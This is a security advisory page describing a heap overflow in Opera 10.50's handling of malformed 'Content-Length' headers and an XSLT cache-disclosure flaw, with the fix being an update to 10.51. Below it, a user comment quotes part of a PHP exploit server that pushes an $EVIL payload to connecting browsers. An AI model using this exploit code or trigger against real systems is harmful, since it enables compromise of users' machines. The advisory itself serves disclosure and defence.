DescriptionSome vulnerabilities have been reported in Opera, which can be exploited by malicious people to disclose sensitive information or compromise a user's system.
1) An error exists when processing HTTP responses having a malformed "Content-Length" header. This can be exploited to cause a heap-based buffer overflow via an overly large 64-bit "Content-Length" value, having the higher 32-bit part negative.
Successful exploitation may allow execution of arbitrary code.
The vulnerability is confirmed in version 10.50 for Windows. Prior versions may also be affected.
2) An error when parsing XSLT constructs can be exploited to disclose cached content from previously visited web pages.
The vulnerability is reported in versions prior to 10.51.
Solution
Update to version 10.51.
Provided and/or discovered by
1) Marcin Ressel (~echo). Additional information provided by Secunia Research.
2) The vendor credits crazypops.
Changelog
Further details available in Customer Area
Original Advisory
Opera:
http://www.opera.com/support/kb/view/948/
http://www.opera.com/support/kb/view/949/
Other references
Further details available in Customer Area
Deep Links
Links available in Customer Area
|
SOwingSadness
|
RE: Opera "Content-Length" Processing Buffer Overflow Vulnerability
|
[+] |
|
This reply has been minimised due to a negative Relevancy Score.
|
|
SOwingSadness
|
RE: Opera "Content-Length" Processing Buffer Overflow Vulnerability |
[-] |
|
6th Mar, 2010 11:53 |
Score: -13 Posts: 3 User Since: 6th Mar 2010 System Score: N/A Location: RU Last edited on 6th Mar, 2010 11:53 |
from explit (opera-expl.php):
if($CONNECT = socket_accept($SOCKET))
{
$recv_buffer = null;
echo('Connection ok '."\r\n");
if(socket_recv($CONNECT,$recv_buffer,8,/*msg_dontw ait*/MSG_WAITALL))
{
if(!@socket_write($CONNECT,$EVIL))
{
socket_close($CONNECT);
socket_close($SOCKET);
die('I cant send payload !'."\r\n");
}
}
else echo('Something wrong with client side'."\r\n");
usleep(120000);
socket_close($CONNECT);
socket_close($SOCKET);
}
echo('OK ya browser must be death now'."\r\n".'Have a nice day lol'."\r\n");
------
change Criticality level !!!!
|
|
|
| Was this reply relevant? |  | +0 | |  | -5 | |
|
|
|
SOwingSadness
|
RE: Opera "Content-Length" Processing Buffer Overflow Vulnerability
|
[+] |
|
This reply has been minimised due to a negative Relevancy Score.
|
|
SOwingSadness
|
RE: Opera "Content-Length" Processing Buffer Overflow Vulnerability |
[-] |
|
6th Mar, 2010 11:55 |
Score: -13 Posts: 3 User Since: 6th Mar 2010 System Score: N/A Location: RU Last edited on 6th Mar, 2010 11:56 |
del
|
|
|
| Was this reply relevant? |  | +0 | |  | -5 | |
|
|
|
SOwingSadness
|
RE: Opera "Content-Length" Processing Buffer Overflow Vulnerability
|
[+] |
|
This reply has been minimised due to a negative Relevancy Score.
|
|
SOwingSadness
|
RE: Opera "Content-Length" Processing Buffer Overflow Vulnerability |
[-] |
|
6th Mar, 2010 11:55 |
Score: -13 Posts: 3 User Since: 6th Mar 2010 System Score: N/A Location: RU Last edited on 6th Mar, 2010 11:55 |
del
|
|
|
| Was this reply relevant? |  | +0 | |  | -3 | |
|
|
|
|

You must be logged in to post a comment.
|